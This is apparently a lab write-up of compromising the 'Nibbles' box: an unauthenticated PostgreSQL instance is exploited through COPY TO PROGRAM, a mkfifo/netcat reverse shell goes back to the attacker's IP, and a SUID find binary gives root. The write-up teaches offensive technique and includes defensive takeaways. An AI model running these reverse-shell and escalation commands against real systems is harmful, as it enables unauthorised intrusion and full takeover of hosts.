Overview
Nibbles exposes a PostgreSQL database on a non-standard port with no authentication required. An authenticated RCE exploit targeting PostgreSQL 11.3-11.9 delivers a shell as the postgres service user. A SUID bit on /usr/bin/find then closes the box in one command via GTFOBins.
Recon
Port Scan
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9
Port 80 had no interesting content (gobuster returned only 403s across the full wordlist). Port 5437 running PostgreSQL publicly is the primary finding, databases should not be internet-accessible.
Web Enumeration
gobuster dir -u http://192.168.206.47/ -w /home/kali/Tools/SecLists/Discovery/Web-Content/big.txt -x php
# No findings beyond 403 errors
The HTTP service offered nothing. The PostgreSQL instance on 5437 was the attack path.
Foothold
PostgreSQL RCE, CVE (9.3-11.7)
PostgreSQL 11.3-11.9 has a known authenticated RCE vulnerability (Exploit-DB 50847) that abuses the COPY TO/FROM PROGRAM feature to run arbitrary OS commands as the database user. The target was running PostgreSQL 11.7, confirmed in-range:
python3 psql.py -i 192.168.206.47 -p 5437 -c id
[+] Connection to Database established
[+] PostgreSQL 11.7 is likely vulnerable
[+] Command executed
uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)
Why
COPY TO PROGRAMis RCE: PostgreSQL'sCOPYcommand can pipe data to or from a shell command. A user with the right privileges (the defaultpostgressuperuser role) can runCOPY (SELECT '') TO PROGRAM 'cmd', and the database server executescmdas the OS user running the PostgreSQL process. On this target, the database was listening publicly and accepted connections without a password, so no brute-forcing was needed.
Upgraded to a full reverse shell using mkfifo:
python3 psql.py -i 192.168.206.47 -p 5437 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.167 80 >/tmp/f'
rlwrap nc -lvnp 80
connect to [192.168.45.167] from (UNKNOWN) [192.168.206.47] 47492
$ whoami
postgres
TTY upgrade:
python -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
SUID find
LinPEAS found a SUID bit on the system find binary:
-rwsr-xr-x 1 root root 309K Feb 16 2019 /usr/bin/find
GTFOBins SUID method for find:
postgres@nibbles:/tmp$ find . -exec /bin/sh -p \; -quit
# whoami
root
Why SUID
findescalates privileges:findwith the SUID bit runs as its owner (root) regardless of who invokes it. The-execflag runs an arbitrary command in a child process that inherits the effective UID offind. Passing/bin/sh -p(preserve effective UID) spawns a shell running as root. The-quitstopsfindafter the first execution so it doesn't loop through every file in the current directory.
Root
# cat proof.txt
‹redacted›
Takeaways
- Databases on non-standard ports with no authentication are direct footholds. Port 5437 with no credentials meant the
COPY TO PROGRAMexploit ran without any authentication phase. COPY TO PROGRAMturns database access into OS code execution. Any PostgreSQL superuser can use this; it's not a bug but an intentional feature that becomes a vulnerability when the database is externally accessible.- SUID on standard system binaries like
findis an immediate privilege escalation. Checkfind / -perm -u=s 2>/dev/nullearly in post-exploitation.